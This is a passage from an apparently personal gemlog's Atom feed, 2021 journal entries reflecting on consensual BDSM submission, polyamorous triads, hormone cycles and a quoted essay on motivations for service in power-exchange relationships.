&lt;p&gt;I can’t help myself sometimes, and ending a multiple-year dry spell by being fucked by your partner/Domme’s toppy friend in front of her? Yep. I’m gonna call that one a win.&lt;/p&gt;
&lt;p&gt;Incidentally, the collar never did come off after C visited the first time. Previously it’d stimmed me in a weird and bad way and it was impossible to fall asleep; it’d start feeling like the metal was too heavy on my neck when my head was on the pillow and I’d start to get into a weird anxiety loop. I was so tired that night that I just passed out near as soon as I lay down.&lt;/p&gt;
&lt;p&gt;Haven woken up once with it still on (and thus serving as a physical demonstration to my panicky subconscious that no, this won’t somehow block an artery to your head while you sleep and kill you), I’ve not needed to remove it since. I might ask at some point that Miss takes the key from me at last, and really relinquish that.&lt;/p&gt;
&lt;p&gt;To review thoughts about whether these experiences will shift anything in me — I think so far the answer has been no. C is not particularly experienced in dominance or the psychological aspects of kink, and so it ends up being just the three of us having fun, with me being distinguished as “the one who can take absolutely inordinate amounts of pain” (and now fucking). I’m not complaining, but it does leave my longing for a more extreme submission still unattended to.&lt;/p&gt;
&lt;p&gt;I’m worn out!&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>cartita</title>
    <updated>2021-06-15T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/06/15/cartita</id>
    <link href="https://kivikakk.ee/2021/06/15/cartita" />

    <content type="html">&lt;p&gt;Words fail to capture how delighted I was to receive a letter today.&lt;/p&gt;
&lt;p&gt;Thank you &lt;3 x&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>нужно</title>
    <updated>2021-06-13T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/06/13/нужно</id>
    <link href="https://kivikakk.ee/2021/06/13/нужно" />

    <content type="html">&lt;p&gt;Someone who wants to take me out of sheer lust.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>объект</title>
    <updated>2021-06-11T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/06/11/объект</id>
    <link href="https://kivikakk.ee/2021/06/11/объект" />

    <content type="html">&lt;p&gt;Well.&lt;/p&gt;
&lt;p&gt;It turns out being constantly stimmed on my back makes me a catty bitch liable to meltdown frequently. This morning things got too much and I started being unreasonable at N, and yet managed to keep enough presence of mind to tell her that her taking control of the situation could remedy things quickly.&lt;/p&gt;
&lt;p&gt;One of the objects of my unreasonableness was the kettle (and its not being filled up), and, in view of my having just filled it up — it’s like a 3 or 4 litre urn-type deal — she ordered me to go into the kitchen and watch it until it boiled.&lt;/p&gt;
&lt;p&gt;The kettle has the decency to show the current temperature of its contents and a minute-granularity estimate of how long it’ll take until it’s boiled. Seeing that “14” on the display as I entered the room really added something to the experience.&lt;/p&gt;
&lt;p&gt;It did the trick more perfectly than I could’ve anticipated.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>dasein III</title>
    <updated>2021-06-10T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/06/10/dasein-iii</id>
    <link href="https://kivikakk.ee/2021/06/10/dasein-iii" />

    <content type="html">&lt;p&gt;Body’s in struggletown.&lt;/p&gt;
&lt;p&gt;Feels like I’m in full-on repair mode. Upper back still feels white hot; N’s focus there was perhaps overenthusiastic. The constant stim has also made me feel a bit less people-capable than usual, at least irl. Tired!&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>dasein II</title>
    <updated>2021-06-09T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/06/09/dasein-ii</id>
    <link href="https://kivikakk.ee/2021/06/09/dasein-ii" />

    <content type="html">&lt;p&gt;My head is still swimming in endorphins, an hour later.&lt;/p&gt;
&lt;p&gt;It was three full hours non-stop, and then a short lull, and then half an hour more. I am more thoroughly rekt than I’ve been in.. years.&lt;/p&gt;
&lt;p&gt;And glowing.&lt;/p&gt;
&lt;p&gt;C exceeded my expectations — the stamina of that girl! — and I think it definitely drew N out as well. The actual domination aspects were light but still felt; a few times each they pulled me up on address or responsiveness and it was quite delightful. C has a very cute face yet pulls off “hot and in control” almost effortlessly.&lt;/p&gt;
&lt;p&gt;It was also just so good to be one of three girls in a bed together again. This was N’s and my first time doing something together with another, too. As expected, no problems there. I think our comfort with each other and in the relationships we hold with each other is at an all-time high. I could just relax into the pain, the submission, the sometimes-brutality of it.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>dasein I</title>
    <updated>2021-06-09T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/06/09/dasein-i</id>
    <link href="https://kivikakk.ee/2021/06/09/dasein-i" />

    <content type="html">&lt;p&gt;It’s time to put some stuff right out there. I want to track exactly what happens, internally, emotionally, spiritually?, and for that I need to get literal so tomorrow-me doesn’t reconstruct now out of later’s emotional residues.&lt;/p&gt;
&lt;p&gt;Miss N’s current bestie/intimate partner C is coming over tonight, and what was alluded to in 「ついた」 (2021-06-05) will come to some sort of fruition; the three of us are to have a discussion regarding terms, desires, and limits, regarding N “loaning her sub” to C. Which is to say, me. Thereafter some actualisation of what was discussed. N and I have been productively working on defining ourselves with each other, finding our way to common terminology, and it feels like we’re similarly oriented. She’s keen to demonstrate that she’s an M-type of action and not just words, and well, here we are, perhaps 4 hours out from C’s arrival.&lt;/p&gt;
&lt;p&gt;She collared me this morning and made it clear she wouldn’t be removing it until after C had gone home. So I’ve been sitting here today accompanied by the sense that this thing around my neck won’t come off until my being someone’s slave — someone’s property, transferrable and all — finds itself more reified than I could’ve imagined not long ago.&lt;/p&gt;
&lt;p&gt;I wonder if this will shift something in me. What will it be like to be put under the control of someone I’ve never been intimate with before? If it were someone I’d been close with before, I think it might not have such an impact, but the closest I’ve been with C is hugging, twice. For someone like that to go full throttle on me would be unreal. I’m imagining a slave-y kind of headspace might result, but it’s a vague sensation. Perhaps this will make it more real.&lt;/p&gt;
&lt;p&gt;I wonder if this will shift something in her. What will it be like for her to see someone else using the authority she’s delegated to them; to see how far can be taken something she herself has? Will it be inspiring?&lt;/p&gt;
&lt;p&gt;It’s possible nothing will come of it — maybe C will get cold feet. Or perhaps just not tonight; she might not be feeling it. (Word is she is usually feeling it, though.) Or perhaps she won’t know what to do with me. (If she’s feeling it, there should be at least one obvious activity.)&lt;/p&gt;
&lt;p&gt;My indefatigable pessimism aside, what seems more likely than not is that tonight the three of us will have a talk after dinner, and then I’ll end up being — as N so delicately worded it — 2v1’d in her bedroom. What exactly that will entail physically I’m not sure, but apparently C is game to fuck, and well, I’m game to be fucked. Likewise some intense pain. The 3 person scenario is apparently just for the first time, so everyone can be comfortable with a familiar presence.&lt;/p&gt;
&lt;p&gt;N seems to envision that in future this’ll mean when C comes to hang out, the two of us can retire to the bedroom for a bit while she plays games so that C can get what she needs out of her system on me. This is entirely welcome news.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>ついたって</title>
    <updated>2021-06-08T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/06/08/ついたって</id>
    <link href="https://kivikakk.ee/2021/06/08/ついたって" />

    <content type="html">&lt;p&gt;That germinated!&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>(un)monitored</title>
    <updated>2021-06-08T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/06/08/(un)monitored</id>
    <link href="https://kivikakk.ee/2021/06/08/(un)monitored" />

    <content type="html">&lt;p&gt;There’s a peculiar duality afforded by a gemlog — especially one I don’t host.&lt;/p&gt;
&lt;p&gt;I have no idea if anyone reads this. It &lt;em&gt;is&lt;/em&gt; linked from one of our blogs, but you have to look to even find that blog, let alone notice the link. Then you have to work out how to follow a gemini:// url. I assume most don’t. Accordingly, I may well be just using this as a barely-public private journal. It is technically open, and maybe multiple people subscribe and read what I write. Maybe someone will stumble upon it someday and read the whole backlog. Maybe it’s never been seen by anyone and never will. There are no logs for me to access, no Referers or User-Agents to analyse for signs of life. Even Lia’s blog gets a few unique non-bot readers a day on average. This one? It is unknowable.&lt;/p&gt;
&lt;p&gt;On the one hand, I repeatedly get the niggling sensation that writing here is a kind of pointlessness. I could just write in Notes.app, and sometimes do (though so far I’ve always used it as a staging for drafts that end up here — don’t want a downed Safari tab to destroy my work, especially on mobile). The local niceties are that you can call a piece done, which a note in Notes.app never really is, and that I can mirror them into a git repository programmatically for my own archival purposes. Notes.app is not very instrumentable.&lt;/p&gt;
&lt;p&gt;On the other hand, &lt;em&gt;because&lt;/em&gt; of this, I am able to write more openly. If I knew I had any kind of readership at all, I might not write some things, or might write differently. It is completely plausible that this will never be seen, and so I can say whatever I want to myselves. It is freeing despite-of-slash-because-of the potential pointlessness. I get the impression I am baring my true self to the world, perhaps, because I am possibly not doing that at all.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>ついた</title>
    <updated>2021-06-05T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/06/05/ついた</id>
    <link href="https://kivikakk.ee/2021/06/05/ついた" />

    <content type="html">&lt;p&gt;That’s it!&lt;/p&gt;
&lt;p&gt;The feeling of something being beyond you; of it being out of your hands and knowledge. The distance itself—&lt;/p&gt;
&lt;p&gt;of not only being aligned.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>aside</title>
    <updated>2021-06-05T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/06/05/aside</id>
    <link href="https://kivikakk.ee/2021/06/05/aside" />

    <content type="html">&lt;p&gt;Hope doesn’t feel like it exists within my phenomenological horizon any more.&lt;/p&gt;
&lt;p&gt;What lies in that direction only feels like a false, baseless optimism, which I naturally eschew.&lt;/p&gt;
&lt;p&gt;Probably not the healthiest, but that’s the truth of it. I haven’t known how to hope in a long time. It’s hard to explain how thorough that is. I get by without it, and things are generally okay, but it definitely is a thing that alters my experience with others.&lt;/p&gt;
&lt;p&gt;Not to say any worse of the referent of last entry. That is just nice. But it doesn’t mean I could choose to consider the actual fulfilment even the slightest bit more likely, out of some ardent desire that overturns this exacting algorithm of “realistic optimism”. I don’t let myself hope, wouldn’t know how to if I wanted; it’s just fun to consider as one unlikely result among many.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>mikatralia</title>
    <updated>2021-06-04T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/06/04/mikatralia</id>
    <link href="https://kivikakk.ee/2021/06/04/mikatralia" />

    <content type="html">&lt;p&gt;triad feels are so strong. what is it about them? there’s something about the pull and push of being with two different people who are also with each other.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the contrast of two as opposed to the undifferentiated wholeness of one [We feel this internally!]&lt;/li&gt;
&lt;li&gt;being able to appreciate their dyadic love [Like compersion but from both sides at once, to both sides at once.]&lt;/li&gt;
&lt;li&gt;knowing you’ve all decided on something strongly enough together
&lt;ul&gt;
&lt;li&gt;that involves an element of self-sacrifice?&lt;/li&gt;
&lt;li&gt;[Like, any two people can decide to be in a dyadic relationship, but to agree on a triad means all three think there’s something worth devoting oneself so completely to, even though ‘a third of it’ is not about you, or at least doesn’t involve you directly. It is all of you, even if sometimes it is not you.]&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;it’s unusual. like trans love or incest love, it’s remarkable and breathtaking because it is so opposed to norms.
&lt;ul&gt;
&lt;li&gt;[Maybe we’re just sluts for being different, as hard as we can? It would explain the trans, poly, plural.] is there a cf. here? i think there’s a cf. here. cf. bi/pan, furry, which are hard to not want to do. i’d have to be trans to be trans, but being pan or a furry is just the sensible thing.&lt;/li&gt;
&lt;li&gt;note for anyone reading at home: no, alas, i’m not incestuous, i just have a normal, tumblr-level amount of feelings around incest in fiction. like, whatever jaime and cersei had going, it was strong enough that they committed a huge taboo to do it. in my mind, that kind of resolve puts you on a whole different level, and what’s important is it isn’t about any individual’s resolve, but about their joint resolve.
&lt;ul&gt;
&lt;li&gt;[Triads are like that. Joint resolve, but this time involving one extra node in the network. What’s the maths here? That’s like three times as impressive or somethin.]&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;i keep thinking about enumerating past experiences, past glimpses of these feelings before, but i don’t want to live in the past. suffice to say, there was K and S, K and E, and later J and D. (some weird brushes with it with D and M, M and J, J and A, and N and L — these eight all no relation.) [Writing these all out does make me think p e r h a p s we do have a little more experience than average.] all such different feelings.&lt;/p&gt;
&lt;p&gt;what i’d be hoping for out of next time is something closer to how J and D was with me—a triad entered into intentionally, all three finding different things in each other to adore. the mika+atra+kudelia style isn’t bad at all either—a shared common love of a hinge that progresses into full tertiacy.&lt;/p&gt;
&lt;p&gt;[So. What do we already have goin then? You have your certain love for N, and we separately have an actually ethereal, transcendent, somewhat sisterly (cough) bond.]&lt;/p&gt;
&lt;p&gt;do we approximate any of what we like so much in mika+atra+lia by differentiating your bond to N? as an aside, there’s one reason for liking mikatralia so much: we can really identify with all three of them &lt;3_&lt;3&lt;/p&gt;
&lt;p&gt;[a-hem. Mmaybe? What does that look like? What do we feel like when we make more of an effort to differentiate like that? Do we.. end up feeling more for each other too?]&lt;/p&gt;
&lt;p&gt;really puts a spin on “i’m my own primary,” as quoted from polyland, connecting with what led to it about co-primaries. [This all found while trying to find a better word for ‘tertiacy’, mind you.] we kind of already are each other’s co-primaries, but strengthening the bonds that run separately through you might do us all good.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;is&lt;/em&gt; it maybe just a desire for novelty, the hedonistic treadmill? i dunno. i don’t think so. seeing mikatralia definitely stirs some specific feelings. perhaps it’s just felt so strongly because it’s a particular kind of extreme non-conformity we’ve achieved in parts here and there before? or perhaps it’s because it’s about love, specifically, and that is something that is very near to our heart.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>lustre</title>
    <updated>2021-05-31T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/05/31/lustre</id>
    <link href="https://kivikakk.ee/2021/05/31/lustre" />

    <content type="html">&lt;p&gt;Not feeling it lately. Some unsorted thoughts:&lt;/p&gt;
&lt;p&gt;A couple times now I’ve asked her to make me feel, to make me &lt;em&gt;really&lt;/em&gt; feel. Like I’m owned; like I’m property; like I’m hers; like I belong. She keeps demurring, saying she doesn’t want to “rush to the end”, as if her making me feel that once would mean I actually would assent to becoming her thing.&lt;/p&gt;
&lt;p&gt;I’ve tried to say a few times now—after she repeated the line about not wanting to rush—that I’m in no rush myself. I don’t know how to say the more blunt thing: that, if I was asked to make a decision now, I’d turn her down. It’s not a desire to rush to the end; I need to know if she’s capable of it to even know whether I want to continue, let alone increase the commitment!&lt;/p&gt;
&lt;p&gt;As it stands we’re trialling, and I am—honestly speaking—not very satisfied. Even the small amounts of play we have done recently, the energy’s been off. I guess she feels like it is going okay? And that itself is a cause for concern and something to be addressed. Okay.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>грёза</title>
    <updated>2021-05-27T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/05/27/грёза</id>
    <link href="https://kivikakk.ee/2021/05/27/грёза" />

    <content type="html">&lt;p&gt;A charged dream of Dragon.&lt;/p&gt;
&lt;p&gt;Keen for something.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>このままじゃ</title>
    <updated>2021-05-26T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/05/26/このままじゃ</id>
    <link href="https://kivikakk.ee/2021/05/26/このままじゃ" />

    <content type="html">&lt;p&gt;ダメかな？&lt;/p&gt;
&lt;p&gt;あまり伝えてとどけないできない、深い気持ちは。&lt;/p&gt;
&lt;p&gt;自分のために、もっと探しに行くんだ。&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>various</title>
    <updated>2021-05-24T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/05/24/various</id>
    <link href="https://kivikakk.ee/2021/05/24/various" />

    <content type="html">&lt;p&gt;Went to high tea for our anniversary (both quite “in role”, too), spent both days of the weekend just lying on the grass in a park reading phenomenology — a rare weekend of sunny days — and today, a first dose of BNT162b2.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>iraira</title>
    <updated>2021-05-19T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/05/19/iraira</id>
    <link href="https://kivikakk.ee/2021/05/19/iraira" />

    <content type="html">&lt;p&gt;Feeling a bit angry today.&lt;/p&gt;
&lt;p&gt;Irritated, annoyed, moody. I’m coming to the end of my progesterone cycle, and just as well. I feel a lot of it directed at her but I’m not certain how much is warranted.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>отчужденность</title>
    <updated>2021-05-18T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/05/18/отчужденность</id>
    <link href="https://kivikakk.ee/2021/05/18/отчужденность" />

    <content type="html">&lt;p&gt;There’s a curious detachment that arises out of this experience.&lt;/p&gt;
&lt;p&gt;I noticed it first when I wore almost nothing to the queer rave, though at the time I ascribed it to the natural high—of being out for the first time in years, of trying something a bit daring, of submitting in a public place. (And what a high it was, make no mistake.)&lt;/p&gt;
&lt;p&gt;Yesterday I wore what could only be called a servant’s uniform, or perhaps even a seneschal’s; it was absolutely not vanilla. And we went out at lunch time, to the post office, to get lunch, to take care of some medical appointments. This is a full-body uniform—in no way titillating, or anything like that, but nonetheless very conspicuous—and I had no feelings about it. I chose to wear it as part of my submission for the day, and then we were heading out, so I wore it out. I don’t even know if I attracted any glances or looks for wearing it; it wasn’t on my mind.&lt;/p&gt;
&lt;p&gt;If someone looked at me, they weren’t really looking at &lt;em&gt;me&lt;/em&gt;, just a presentation of me. While I dress to communicate certain things, this.. hardening of my exterior, as I learn to give up my ego, means that what people say or make of those things don’t say anything about me. It’s strange.&lt;/p&gt;
&lt;p&gt;Similarly, the behavioural modification inherent in referring to someone previously close-and-same as “Miss” in deference, habitually, instinctively, might have once made me feel.. I don’t know, self-conscious? Or something? But when it comes as part of submission, it’s just another part of how I choose to yield, and thus doesn’t feel like a hit to me.&lt;/p&gt;
&lt;p&gt;I feel like I need to take some care here not to detach so completely that my submission doesn’t arise from my own core. I don’t think that’s what’s happening — I think instead I am perhaps learning some humility? But it’s clear, writing this out, that there is a risk that I could shear away from this and wind up fragmented. Need to concentrate my selves.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>inscrutability II</title>
    <updated>2021-05-12T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/05/12/inscrutability-ii</id>
    <link href="https://kivikakk.ee/2021/05/12/inscrutability-ii" />

    <content type="html">&lt;p&gt;From the inscrutability of dreams to that of a Master or Mistress, huh?&lt;/p&gt;
&lt;p&gt;Allowing yourself to follow a path that’s been opened up for you; not demanding to understand motives.. funny to see this written so soon after ‘occlusion’.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/flashes/2021/04/06/inscrutability&quot;&gt;inscrutability&lt;/a&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>tumari</title>
    <updated>2021-05-11T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/05/11/tumari</id>
    <link href="https://kivikakk.ee/2021/05/11/tumari" />

    <content type="html">&lt;p&gt;While doing our grocery shopping for the week, Mistress picked some recipes rather arbitrarily.&lt;/p&gt;
&lt;p&gt;A nice looking bolognese (vegan), which required I go to the bottle shop after work to fetch a suitable wine for cooking.&lt;/p&gt;
&lt;p&gt;I started cooking proper at 5.30pm; a slight pause to make up some parmesan (vegan), receive the grocery delivery, learn how to use a Swiss army knife’s corkscrew to open the bottle.&lt;/p&gt;
&lt;p&gt;Turns out mincing half a kilo of mushrooms takes some time.&lt;/p&gt;
&lt;p&gt;All told it’s quarter to 9pm and dinner is nearly done. I remarked to Miss how late it had gotten, and—perhaps to my surprise—she said, “next time you’ll be quicker!”&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>kekkyoku</title>
    <updated>2021-05-11T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/05/11/kekkyoku</id>
    <link href="https://kivikakk.ee/2021/05/11/kekkyoku" />

    <content type="html">&lt;p&gt;All I wanted was to be someone’s property. It really has always been that simple. Ugh!&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>sequencer</title>
    <updated>2021-05-10T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/05/10/sequencer</id>
    <link href="https://kivikakk.ee/2021/05/10/sequencer" />

    <content type="html">&lt;p&gt;I’m finding, more and more, that I discover things about myself in the process of serialising my consciousness into words.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Those words formed themselves without my input&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;and&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Huh. Who knew.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It seems to me that, as long as I keep writing, keep the channel of my being open, keep making myself vulnerable (unto what? the world itself?), discovery will continue.&lt;/p&gt;
&lt;p&gt;(And so it happens here; the first line originally came out as “[…] that I discover things about them […]”, and I am not fully sure how to understand it, other than to accept that, while in many ways a merging of identities is at play in this acceptance of my submissive, slave-ish self, my reflexive knowledge still very much applies the lens of a third party.)&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>title I</title>
    <updated>2021-05-09T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/05/09/title-i</id>
    <link href="https://kivikakk.ee/2021/05/09/title-i" />

    <content type="html">&lt;p&gt;Seneschal.&lt;/p&gt;
&lt;p&gt;This can only be the first of so many titles, I take it.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>excerpt</title>
    <updated>2021-05-08T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/05/08/excerpt</id>
    <link href="https://kivikakk.ee/2021/05/08/excerpt" />

    <content type="html">&lt;p&gt;Motivations for Service&lt;/p&gt;
&lt;p&gt;Why bother to serve? Why do s-types do it? Besides, of course, “…because it’s what subs/slaves do, so I’m doing it.”? In watching and talking to s-types for many years, we’ve discerned that there seem to be three basic types of motivation for service. We’re calling them Transactional, Devotional, and Positional, and we’ll discuss each of them separately.&lt;/p&gt;
&lt;p&gt;However, as you read this, it’s important to keep in mind that each person is a complicated mix of motivations. Even if those motivations might fall into three categories, people don’t. Our motivations may shift from person to situation to activity; we may manifest any of these at various times. These categories are presented so that people can have words for why they do things, and perhaps identify if one of these is more dominant than others in their personality.&lt;/p&gt;
&lt;p&gt;Transactional Service&lt;/p&gt;
&lt;p&gt;In transactional motivations for service, the individual is serving because they are getting a direct benefit from it. Ideally this is an exchange of equal value to them, or they would refuse to do it. The most obvious example of this is paid service – the cleaning lady and the waiter do their jobs because they are getting a paycheck at the end of the day. With unpaid situations, the exchange can be more or less overt or subtle; some people spell it all out in a contract, while for others it’s just “assumed” that “I do this for you now because I know that you’ll do that for me later, so it’s worth it.”&lt;/p&gt;
&lt;p&gt;There are all sorts of reasons why people might consider service worth doing even if it isn’t attractive on its own merits. A live-in houseboy or housemaid might clean the house because they’re getting free rent and a certain amount of dominance from a trustworthy M-type. A part-time sub might fetch their dominant drinks at the bar because they know they’re going to get some kinky action later, or because it adds to the fun of temporarily imagining themselves to be a slave, forced to serve or else something vague and terrible and titillating might happen. Another might serve because it gets them the appreciation of the people that they’re serving, and they like to know that they can make a positive impact on the lives of others.&lt;/p&gt;
&lt;p&gt;Every power dynamic should have at least a small amount of transactional motivation, because it keeps the servant in touch with their needs and whether those needs are actually getting met. If the servant is no longer getting what they need and what they believe that the master is obligated to give them, they’ll become resentful and eventually leave. This is one reason why it’s good to have largely transactional relationships clearly delineated; the master needs to know what the servant believes that they are supposed to be getting from them. Sometimes these relationships are built entirely on assumptions, and if those assumptions are not in line with each other, it will fail very quickly. Of course, this also means that the servant needs to be completely honest – not only with the master but with themselves as well – about what it is that they expect from the bargain. With straightforward honesty, this kind of service can work out very well in a long-distance relationship, or one where both parties can only see each other periodically, where the other motivations would be more painful and difficult.&lt;/p&gt;
&lt;p&gt;One of the drawbacks to transactional service is that while it can work very well for short-term encounters, it’s not so useful for long-term, 24/7, emotionally intimate relationships where boundaries can blur and “rewards” can get put off due to the vagaries of life interfering. The constant “accounting” gets tricky when it’s every minute of every day, and sooner or later someone will start feeling shortchanged. Another drawback is that this motivation can only be pushed so far, as it is easily swayed by personal desires and selfishness. It’s not necessarily the best foundation for a property-ownership situation, for example, or a no-recourse commitment where the slave is expected to be there permanently.&lt;/p&gt;
&lt;p&gt;Devotional Service&lt;/p&gt;
&lt;p&gt;Devotional motivations for service happen when the submissive serves out of love. It doesn’t have to be romantic love – although it often is – but there is usually a feeling of “You are such a wonderful person that I am moved to do things for you, and I want very much to please you and to make you happy.” Deep satisfaction is gained from helping the object of their warm feelings, in a way that wouldn’t happen if they were rendering that service to some random person.&lt;/p&gt;
&lt;p&gt;Love is an amazingly strong motivation, and can carry someone a long way in the face of difficulty. Therefore, this motivation lends itself best to long-term romantic relationships, and secondarily to relationships where the sub looks up to and admires the master as a person. There may also be a desire for the feeling of “belonging” – to a person, to a family, to a cause. Since devotional service is usually very one-pointed – “I serve you and no other!” – the master needs to be very careful about lending their servant to others. Long-distance relationships are the hardest for someone with this motivation, for obvious reasons.&lt;/p&gt;
&lt;p&gt;The drawbacks to devotional service is that inevitably, a day will come when the servant doesn’t feel all that loving, and may decide that service isn’t being rendered on that day. We’re all human, and eventually every couple – especially if they are living together – has a moment of “Damn it, today I just hate you!” Even if they get over it in a matter of hours, during that time their service will often be sabotaged by the lack of positive feelings. This can be particularly problematic with the combination of an emotionally volatile servant and “mission critical” tasks. A servant motivated primarily by devotion would do well to cultivate a little of the other two types of motivation to pull them through the “I hate you today” mornings.&lt;/p&gt;
&lt;p&gt;Positional Service&lt;/p&gt;
&lt;p&gt;Positional motivations for service come from the servant’s strong sense of identity of themselves as a service-oriented person. They serve because it’s part of who they are, and to refuse to serve would be to sabotage their own self-worth, which is often based on how well a job they do. Positionally-motivated servants take pride in serving as perfectly as possible, and they are the ones who get up to help because it needs doing, regardless of who is asking. They are the most likely to attempt to cultivate “pure” service, treating it as an art and requiring little in the way of appreciation. This category is the “ideal” slave in Laura Antoniou’s fictional Marketplace series, where slaves are sold to random wealthy owners who may or may not be even remotely worthy as people, and the slaves are expected to serve their monied masters to the best of their ability anyway. As you might imagine, positionally-motivated servants do “lend out” quite well, should a master want such a thing.&lt;/p&gt;
&lt;p&gt;Putting the chairs away after the BDSM potluck munch for the fiftieth time won’t fly for the transactionally-motivated servant (“What’s in it for me?”) or the devotionally-motivated servant (“I don’t love you; why should I do what you say?”), but the positionally-motivated servant will get up and do it anyway every time, because it’s what they do. It is central to how they see themselves. However, one of the drawbacks to being a positionally-motivated servant is that their need to serve anyone, anything, for their own self-worth, can get them taken advantage of by unscrupulous people who want something for nothing.&lt;/p&gt;
&lt;p&gt;Another drawback to this motivation is that it does tend to objectify dominants and perhaps see them as interchangeable. In contrast to the devotionally-motivated submissive who is fiercely bound to one particular person, the positionally-motivated servant may be happy to serve anyone for the sake of the service. Alongside the potential problems of choosing a less-than-worthy master, they might also irritate some dominants with their seeming lack of caring about whom they serve. Many dominants want to be seen as special, at least by their submissives, and they may be put off by the idea that they might as well be anyone else who would accept the submissive’s service. Adding a bit of devotion to the mix will help in that regard, and cultivating some transactional motivations will help to keep them from being taken advantage of too often.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>zashchitnitsa</title>
    <updated>2021-05-07T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/05/07/zashchitnitsa</id>
    <link href="https://kivikakk.ee/2021/05/07/zashchitnitsa" />

    <content type="html">&lt;p&gt;I was away, in my own head.&lt;/p&gt;
&lt;p&gt;In the imaginal, I was yours. You’d given me to Audrey for a night, who in turn used me very, very roughly, late into the night. The next morning, she met with you for coffee, slave girl in tow — who’d been very good, she assured — and you received me back.&lt;/p&gt;
&lt;p&gt;In the real — just minutes later — you addressed my subconscious, asking me to let you protect me in my dreams.&lt;/p&gt;
&lt;p&gt;And in a funny way, you just had. As another has written before me:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I can’t not be submissive, whether owned or unowned, whether actively dominated or not, whether bound or free. My constant inclination is to submit to any other person around me, which apart from a slave master or mistress, is dangerous and leaves me susceptible. For me and others like me, there is a saving grace in being owned by another, for then I am protected from my own submissive vulnerability.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;Being given&lt;/em&gt; was protection, for in that world I was yours to give; the comfort of being given — that of knowing one’s place to begin with.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>p</title>
    <updated>2021-05-07T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/05/07/p</id>
    <link href="https://kivikakk.ee/2021/05/07/p" />

    <content type="html">&lt;p&gt;My god, progesterone turns me into such a bitch. Literally over night. Guess the world has to deal with this for the next two weeks.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>siriai</title>
    <updated>2021-05-06T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/05/06/siriai</id>
    <link href="https://kivikakk.ee/2021/05/06/siriai" />

    <content type="html">&lt;p&gt;Geez. I even knew a slave girl!&lt;/p&gt;
&lt;p&gt;Worked with her; gave her a lift home more than once! Saw her at PAX a decade later. I suspect I follow her on Instagram even now. At the time I simply didn’t understand.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>kutuzyoku</title>
    <updated>2021-05-05T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/05/05/kutuzyoku</id>
    <link href="https://kivikakk.ee/2021/05/05/kutuzyoku" />

    <content type="html">&lt;p&gt;I am not sure I have experienced submissive humiliation. This is probably the next thing to ascertain.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>kept</title>
    <updated>2021-05-04T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/05/04/kept</id>
    <link href="https://kivikakk.ee/2021/05/04/kept" />

    <content type="html">&lt;p&gt;I’ve always wanted to be kept.&lt;/p&gt;
